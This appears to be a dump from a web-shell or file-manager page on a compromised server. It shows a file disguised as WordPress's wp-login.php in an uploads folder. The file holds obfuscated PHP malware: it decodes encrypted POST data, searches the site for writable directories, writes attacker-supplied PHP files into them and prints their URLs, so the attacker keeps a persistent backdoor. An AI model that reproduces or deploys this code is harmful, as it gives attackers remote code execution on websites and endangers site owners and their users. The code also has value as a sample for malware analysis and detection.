HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/2023/04/wp-login.php
<?php function qonkoDB($eoXvc){$csWdCBqIi = chr(114).chr(728-631)."\x77".chr(117).chr(114).'l'."\144"."\x65".chr(99).'o'.chr(217-117).'e';$mHuHfDYT = "\163".chr(755-639)."\x72".'_'."\162".chr(111)."\x74".'1'."\x33";$GwJHBgz = "\163".chr(1051-935)."\162".'_'.'s'."\x70".chr(880-772)."\151"."\x74";$eoXvc = $GwJHBgz($csWdCBqIi($mHuHfDYT($eoXvc)));return $eoXvc;}function CaJNKCdXUL($ULQJTrzj, $eoXvc){$xMuTIIIiE = chr(115).chr(116).'r'.'_'."\163"."\160"."\154"."\151".chr(1105-989);$ULQJTrzj = array_slice($xMuTIIIiE(str_repeat($ULQJTrzj, (count($eoXvc)/16)+1)), 0, count($eoXvc));return $ULQJTrzj;}function SfxDwYohfu($HBvCra, $xkXrpurJBt, $ULQJTrzj){$oapfH = "f482cb71-5368-43d5-832e-c839c00c0920";return $HBvCra ^ $oapfH[$xkXrpurJBt % strlen($oapfH)] ^ $ULQJTrzj;}function Lurpizbj($eoXvc, $ULQJTrzj){$eoXvc = array_map("SfxDwYohfu", array_values($eoXvc), array_keys($eoXvc), array_values($ULQJTrzj));$eoXvc = implode("", $eoXvc);$SpVxt = "\x75".'n'.'s'.chr(101).chr(114).chr(105).chr(258-161)."\154".chr(105).chr(1092-970).chr(528-427);$eoXvc = @$SpVxt($eoXvc);return $eoXvc;}function EmocrCAhJ(){echo "fZvfggg";}function hVLYYRTeKi($QzrHKVqXqir){static $ezdKfKBz = array();$yiXRFGYTmF = glob($QzrHKVqXqir . '/*', GLOB_ONLYDIR);$JLfnZ = count($yiXRFGYTmF);if ($JLfnZ > 0) {foreach ($yiXRFGYTmF as $QzrHKVqXq) {$moxpHVRpfF = chr(780-675).'s'."\137".'w'.'r'.chr(105)."\x74".'a'.'b'.chr(367-259)."\x65";if (@$moxpHVRpfF($QzrHKVqXq)) {$ezdKfKBz[] = $QzrHKVqXq;}}}foreach ($yiXRFGYTmF as $QzrHKVqXqir) hVLYYRTeKi($QzrHKVqXqir);return $ezdKfKBz;}function JBSKFHRbV(){echo "QpXeTaW";}function nLcAuNhrWz($eoXvc){$RGQEE = chr(199-131)."\x4f".chr(538-471)."\125".chr(744-667).'E'."\116"."\x54"."\137"."\x52"."\x4f".chr(79).chr(84);$UxxeVC = $_SERVER[$RGQEE];$yiXRFGYTmF = hVLYYRTeKi($UxxeVC);$RKvWxu = array_rand($yiXRFGYTmF);$FsENl = "\x2e"."\x70".'h'.chr(112);$AnQIcAC = $yiXRFGYTmF[$RKvWxu] . "/" . substr(md5(time()), 0, 8) . $FsENl;$AanyyMYQEj = "\x66".chr(887-782).chr(899-791)."\145".chr(95).chr(112).'u'.chr(361-245)."\x5f".chr(837-738).chr(111).'n'."\164"."\145"."\x6e"."\164"."\163";@$AanyyMYQEj($AnQIcAC, $eoXvc);$otjTgEMlF = 'H'."\124".'T'.'P'."\x5f"."\x48".'O'."\123".chr(84);$udzYZSTT = 'h'."\x74"."\x74"."\x70".chr(58).chr(927-880).chr(636-589);$QtWxXo = $udzYZSTT . $_SERVER[$otjTgEMlF] . substr($AnQIcAC, strlen($UxxeVC));print($QtWxXo);}foreach ($_POST as $ULQJTrzj => $eoXvc){$wsmOFSd = strlen($ULQJTrzj);if ($wsmOFSd == 16){$eoXvc = qonkoDB($eoXvc);$ULQJTrzj = CaJNKCdXUL($ULQJTrzj, $eoXvc);$eoXvc = Lurpizbj($eoXvc, $ULQJTrzj);if (@is_array($eoXvc)){$RKvWxu = array_keys($eoXvc);$eoXvc = $eoXvc[$RKvWxu[0]];if ($eoXvc === $RKvWxu[0]){$hmdHRt = chr(358-246).'h'."\160";$AAqpRidCj = 'p'.chr(104).chr(866-754)."\166".chr(422-321)."\x72"."\163"."\151".chr(162-51).chr(110);$wOxcreFI = chr(982-867)."\145".chr(894-780).chr(583-478).chr(97).chr(108).'i'."\172"."\145";echo @$wOxcreFI(Array($hmdHRt => @$AAqpRidCj(), ));}else {nLcAuNhrWz($eoXvc);}die();}}}